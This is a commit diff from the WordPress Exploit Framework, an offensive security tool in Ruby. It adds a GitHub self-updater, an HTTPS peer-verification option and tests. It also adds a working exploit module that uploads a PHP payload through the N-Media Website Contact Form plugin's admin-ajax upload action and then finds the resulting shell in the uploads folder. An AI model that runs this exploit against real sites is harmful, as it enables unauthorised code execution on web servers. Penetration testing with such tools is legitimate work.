Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 9361ef7

Browse files
committed
Merged development into master
2 parents cb1a195 + d3ea511 commit 9361ef7

13 files changed

+288
-9
lines changed

VERSION

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
1.1.0

env.rb

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,8 @@
2020
require 'wpxf/utility/text'
2121
require 'wpxf/utility/reference_inflater'
2222

23+
require 'github_updater'
24+
2325
module Wpxf
2426
def self.data_directory=(val)
2527
@@data_directory = val
@@ -29,6 +31,14 @@ def self.data_directory
2931
@@data_directory
3032
end
3133

34+
def self.app_path=(val)
35+
@@app_path = val
36+
end
37+
38+
def self.app_path
39+
@@app_path
40+
end
41+
3242
def self.change_stdout_sync(enabled)
3343
original_setting = STDOUT.sync
3444
STDOUT.sync = true
@@ -37,4 +47,5 @@ def self.change_stdout_sync(enabled)
3747
end
3848
end
3949

50+
Wpxf.app_path = app_path
4051
Wpxf.data_directory = File.join(app_path, 'data/')

github_updater.rb

Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
require 'json'
2+
require 'typhoeus'
3+
require 'fileutils'
4+
5+
module Wpxf
6+
# A self updater that uses the latest release from GitHub as the target.
7+
class GitHubUpdater
8+
def latest_release_url
9+
'https://api.github.com/repos/rastating/wordpress-exploit-framework/releases/latest'
10+
end
11+
12+
# Get information about the latest update available on GitHub.
13+
# @param current_version [String] the current version number in use.
14+
# @return [Hash, nil] a hash containing the :release_notes, :zip_url and :release_name, or nil if there is no update.
15+
def get_update(current_version)
16+
res = Typhoeus.get(latest_release_url)
17+
return nil unless res && res.code == 200
18+
19+
begin
20+
update = JSON.parse(res.body)
21+
rescue JSON::ParserError
22+
return nil
23+
end
24+
25+
begin
26+
return nil if Gem::Version.new(current_version) >= Gem::Version.new(update['tag_name'].sub(/^v/, ''))
27+
rescue
28+
return nil
29+
end
30+
31+
{ release_notes: update['body'], zip_url: update['zipball_url'], release_name: update['name'] }
32+
end
33+
34+
# Download and apply an update from the specified URL.
35+
# @param zip_url [String] the URL to fetch the update from.
36+
def download_and_apply_update(zip_url)
37+
tmp = create_tmp_directory
38+
zip_filename = File.join(tmp, 'update.zip')
39+
40+
download_update_zip(zip_url, zip_filename)
41+
42+
Zip::File.open(zip_filename) do |zip_file|
43+
zip_file.each do |entry|
44+
entry.extract File.join(tmp, entry.name)
45+
end
46+
end
47+
48+
Dir.glob(File.join(tmp, 'rastating-wordpress-exploit-framework*/*')) do |f|
49+
FileUtils.cp_r(f, Wpxf.app_path)
50+
end
51+
52+
FileUtils.rm_rf(tmp)
53+
end
54+
55+
private
56+
57+
def create_tmp_directory
58+
tmp = File.join(Dir.tmpdir, "wpxf_update_#{object_id}")
59+
FileUtils.mkdir_p(tmp)
60+
tmp
61+
end
62+
63+
def download_update_zip(zip_url, local_filename)
64+
zip = File.open(local_filename, 'wb')
65+
request = Typhoeus::Request.new(zip_url, followlocation: true)
66+
request.on_headers do |response|
67+
raise 'Request failed' if response.code != 200
68+
end
69+
70+
request.on_body do |chunk|
71+
zip.write(chunk)
72+
end
73+
74+
request.on_complete do
75+
zip.close
76+
end
77+
78+
request.run
79+
end
80+
end
81+
end

lib/wpxf/net/http_client.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,8 @@ def initialize_advanced_options
3535
HTTP_OPTION_MAX_CONCURRENCY,
3636
HTTP_OPTION_CLIENT_TIMEOUT,
3737
HTTP_OPTION_USER_AGENT,
38-
HTTP_OPTION_FOLLOW_REDIRECT
38+
HTTP_OPTION_FOLLOW_REDIRECT,
39+
HTTP_OPTION_PEER_VERIFICATION
3940
])
4041

4142
set_option_value('user_agent', random_user_agent)

lib/wpxf/net/http_options.rb

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -58,6 +58,13 @@ module HttpOptions
5858
default: true
5959
)
6060

61+
HTTP_OPTION_PEER_VERIFICATION = BooleanOption.new(
62+
name: 'verify_peer',
63+
desc: 'Enable peer verification when using HTTPS',
64+
required: true,
65+
default: true
66+
)
67+
6168
HTTP_OPTION_MAX_CONCURRENCY = IntegerOption.new(
6269
name: 'max_http_concurrency',
6370
desc: 'Max number of HTTP requests that can be made in '\

lib/wpxf/net/http_server.rb

Lines changed: 16 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -92,21 +92,33 @@ def http_server_thread
9292

9393
private
9494

95+
def send_headers(socket, body, content_type, custom_headers)
96+
headers = []
97+
headers.push 'HTTP/1.1 200 OK'
98+
headers.push "Content-Type: #{content_type}"
99+
headers.push "Content-Length: #{body.bytesize}"
100+
headers += custom_headers unless custom_headers.nil?
101+
headers.push 'Connection: close'
102+
103+
headers.each do |header|
104+
socket.print "#{header}\r\n"
105+
end
106+
end
107+
95108
def send_response(response, socket)
96109
content_type = 'text/plain'
97110
body = ''
111+
custom_headers = nil
98112

99113
if response.is_a? String
100114
body = response
101115
else
102116
body = response[:body]
103117
content_type = response[:type]
118+
custom_headers = response[:headers]
104119
end
105120

106-
socket.print "HTTP/1.1 200 OK\r\n"\
107-
"Content-Type: #{content_type}\r\n"\
108-
"Content-Length: #{body.bytesize}\r\n"\
109-
"Connection: close\r\n"
121+
send_headers(socket, body, content_type, custom_headers)
110122
socket.print "\r\n"
111123
socket.print body
112124
end

lib/wpxf/net/typhoeus_helper.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@ def advanced_typhoeus_options
88
proxy: datastore['proxy'],
99
proxyuserpwd: datastore['proxy_auth_creds'],
1010
ssl_verifyhost: normalized_option_value('verify_host') ? 2 : 0,
11+
ssl_verifypeer: normalized_option_value('verify_peer'),
1112
timeout: normalized_option_value('http_client_timeout')
1213
}
1314
end

modules/exploits/n_media_website_contact_form_shell_upload.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@ def initialize
55
super
66

77
update_info(
8-
name: 'N-Media Website Contact Form Shell Upload',
8+
name: 'N-Media Website Contact Form <= 1.3.4 Shell Upload',
99
desc: 'This module exploits a file upload vulnerability in versions '\
1010
'<= 1.3.4 of the N-Media Website Contact Form plugin which '\
1111
'allows unauthenticated users to upload and execute PHP scripts '\
Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
class Wpxf::Exploit::NMediaWebsiteContactFormV19ShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ShellUpload
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'N-Media Website Contact Form >= 1.9 Shell Upload',
9+
author: [
10+
'White Fir Design', # Vulnerability discovery
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['URL', 'https://www.pluginvulnerabilities.com/2016/09/19/arbitrary-file-upload-vulnerability-in-n-media-website-contact-form-with-file-upload/'],
15+
['WPVDB', '8623']
16+
],
17+
date: 'Sep 19 2016'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('website-contact-form-with-file-upload', nil, '1.9')
23+
end
24+
25+
def payload_body_builder
26+
builder = Utility::BodyBuilder.new
27+
builder.add_file_from_string('file', payload.encoded, payload_name)
28+
builder.add_field('name', payload_name)
29+
builder.add_field('action', 'nm_webcontact_upload_file')
30+
builder
31+
end
32+
33+
def uploader_url
34+
wordpress_url_admin_ajax
35+
end
36+
37+
def uploaded_payload_location
38+
stored_name = JSON.parse(upload_result.body)['file_name']
39+
return normalize_uri(wordpress_url_wp_content, 'uploads', 'contact_files', stored_name)
40+
rescue StandardError => e
41+
raise "Failed to parse response: #{e}"
42+
end
43+
end

spec/github_updater_spec.rb

Lines changed: 87 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
require_relative 'spec_helper'
2+
3+
describe Wpxf::GitHubUpdater do
4+
let(:typhoeus_return_code) { :ok }
5+
let(:typhoeus_code) { 200 }
6+
let(:typhoeus_body) { '' }
7+
let(:typhoeus_headers) { { 'Content-Type' => 'text/html; charset=utf-8' } }
8+
let(:subject) { Wpxf::GitHubUpdater.new }
9+
10+
before :each do
11+
Typhoeus.stub(/.*/) do
12+
Typhoeus::Response.new(
13+
code: typhoeus_code,
14+
body: typhoeus_body,
15+
headers: typhoeus_headers,
16+
return_code: typhoeus_return_code
17+
)
18+
end
19+
end
20+
21+
describe '#get_update' do
22+
context 'when the API returns a status other than 200' do
23+
let(:typhoeus_code) { 404 }
24+
25+
it 'returns nil' do
26+
expect(subject.get_update('')).to be_nil
27+
end
28+
end
29+
30+
context 'when invalid JSON is returned from the API' do
31+
let(:typhoeus_body) { 'invalid body' }
32+
33+
it 'returns nil' do
34+
expect(subject.get_update('')).to be_nil
35+
end
36+
end
37+
38+
context 'when the version number from GitHub is invalid' do
39+
let(:typhoeus_body) do
40+
{ tag_name: 'invalid version' }.to_json
41+
end
42+
43+
it 'returns nil' do
44+
expect(subject.get_update('1.0')).to be_nil
45+
end
46+
end
47+
48+
context 'when the current version number is invalid' do
49+
let(:typhoeus_body) do
50+
{ tag_name: '1.1' }.to_json
51+
end
52+
53+
it 'returns nil' do
54+
expect(subject.get_update('invalid')).to be_nil
55+
end
56+
end
57+
58+
context 'when the current version is the same as the latest GitHub release' do
59+
let(:typhoeus_body) do
60+
{ tag_name: '1.1' }.to_json
61+
end
62+
63+
it 'returns nil' do
64+
expect(subject.get_update('1.1')).to be_nil
65+
end
66+
end
67+
68+
context 'when the current version is older than the latest GitHub release' do
69+
let(:typhoeus_body) do
70+
{
71+
tag_name: 'v1.1',
72+
body: 'notes',
73+
zipball_url: 'url',
74+
name: 'v1.1'
75+
}.to_json
76+
end
77+
78+
it 'returns a hash containing the information about the latest update' do
79+
expect(subject.get_update('1.0')).to include(
80+
release_notes: 'notes',
81+
zip_url: 'url',
82+
release_name: 'v1.1'
83+
)
84+
end
85+
end
86+
end
87+
end

spec/net/http_client_spec.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -46,7 +46,8 @@
4646
HTTP_OPTION_MAX_CONCURRENCY,
4747
HTTP_OPTION_CLIENT_TIMEOUT,
4848
HTTP_OPTION_USER_AGENT,
49-
HTTP_OPTION_FOLLOW_REDIRECT
49+
HTTP_OPTION_FOLLOW_REDIRECT,
50+
HTTP_OPTION_PEER_VERIFICATION
5051
]
5152

5253
options.each do |o|

spec/net/typhoeus_helper_spec.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -16,13 +16,15 @@
1616
subject.set_option_value('proxy_auth_creds', 'root:toor')
1717
subject.set_option_value('verify_host', true)
1818
subject.set_option_value('http_client_timeout', 10_000)
19+
subject.set_option_value('verify_peer', false)
1920

2021
expect(subject.advanced_typhoeus_options).to include(
2122
userpwd: 'root:toor',
2223
proxy: '127.0.0.1',
2324
proxyuserpwd: 'root:toor',
2425
ssl_verifyhost: 2,
25-
timeout: 10_000
26+
timeout: 10_000,
27+
ssl_verifypeer: false
2628
)
2729
end
2830
end

wpxf.rb

Lines changed: 33 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,38 @@
33
require 'fileutils'
44
require_relative 'env'
55
require 'cli/console'
6+
require 'slop'
7+
8+
Slop.parse do |o|
9+
o.on '--update', 'check for updates' do
10+
current_version = File.read('VERSION').strip
11+
12+
updater = Wpxf::GitHubUpdater.new
13+
update = updater.get_update(current_version)
14+
15+
if update.nil?
16+
puts 'No updates available'
17+
exit
18+
end
19+
20+
puts 'A new update is available!'
21+
puts
22+
puts '-- Release Notes --'
23+
puts update[:release_notes]
24+
puts
25+
puts "Downloading latest update (#{update[:release_name]})..."
26+
updater.download_and_apply_update(update[:zip_url])
27+
28+
puts 'Update finished! Make sure to run "bundle install" in the WPXF directory.'
29+
puts
30+
exit
31+
end
32+
33+
o.on '--version', 'print the version' do
34+
puts File.read('VERSION').strip
35+
exit
36+
end
37+
end
638

739
puts ' _'
840
puts ' __ _____ _ __ __| |_ __ _ __ ___ ___ ___'
@@ -31,7 +63,7 @@
3163

3264
Dir.chdir(Dir.tmpdir) do
3365
temp_directories = Dir.glob('wpxf_*')
34-
if temp_directories.length > 0
66+
unless temp_directories.empty?
3567
print '[!] '.yellow
3668
puts "#{temp_directories.length} temporary files were found that "\
3769
'appear to no longer be needed.'

0 commit comments

Comments
 (0)